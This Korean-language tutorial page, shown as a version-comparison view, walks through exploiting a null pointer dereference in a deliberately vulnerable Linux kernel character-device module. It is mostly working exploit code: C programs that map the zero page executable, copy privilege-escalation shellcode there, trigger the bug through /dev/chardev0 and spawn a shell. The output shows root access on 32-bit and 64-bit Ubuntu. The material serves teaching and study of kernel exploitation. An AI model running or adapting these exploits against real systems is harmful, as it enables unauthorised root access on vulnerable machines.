Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Info
title0-address protection

...

Example

...

Source code of module

  • 해당 코드는 04.Creating a kernel module to privilege escalation 의 escalation.c 코드를 일부 수정하였으며, 변경된 코드는 다음과 같습니다.
    • Null pointer dereference를 구현하기 위해 포인터 함수를 선언합니다.

      • void (*myFunPtr)(void);

    • 해당 함수는 chardev_write() 함수에서 호출하고 종료됩니다.

      • myFunPtr 함수를 호출하기 전에 해당 함수에 별도의 값이 설정되지 않았기 때문에, myFunPtr함수를 호출하게되면 0x0 영역을 호출하게 됩니다.

...

Code Block
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ 

Proof of Concept

...

PoC code

  • 다음 코드를 이용하여 "Null pointer dereference" 취약성을 확인할 수 있습니다.
    • mmap() 함수를 이용하여 0x0 영역에 읽기,쓰기,실행이 가능한 영역을 매핑합니다.
    • memcpy() 함수를 이용하여 0x0 영역에 payload 변수의 값을 복사합니다.
      • payload 변수에는 call 명령어를 이용하여 "0xdeadbeef" 영역을 호출하는 shellcode가 저장되어 있습니다.
    • open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 엽니다.
    • write() 함수를 이용하여 chardev_write() 함수가 호출 되도록 합니다.
Code Block
languagecpp
titletest.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef

int main(){

    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);

    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }

    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));

    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        close(fd);
    }else{
        printf("Failed to open file.\n");
    }
    
    return 0;
}

...

Debug

  • chardev_write() 함수의 디버기을 위해 다음과 같이 커널의 주소를 확인합니다.
    • chardev_write() 함수의 주소는 0xf9dac000 입니다.
    • 해당 주소로 Breakpoint를 설정하고 poc 프로그램을 실행합니다.

...

Code Block
languagecpp
titlepocexploit.c
//gcc -static -o exploit exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x31\xc0\xe8\x19\x2e\x08\xc1\xe8\x54\x2b\x08\xc1\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        system("sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
Code Block
titleGet shell
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./testexploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux
# 

...

Code Block
languagecpp
titlepocexploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x48\x31\xff\xe8\x38\xda\x09\x81\x48\x97\xe8\x51\xd7\x09\x81\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
		system("/bin/sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
Code Block
titleGet shell
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./pocexploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 

...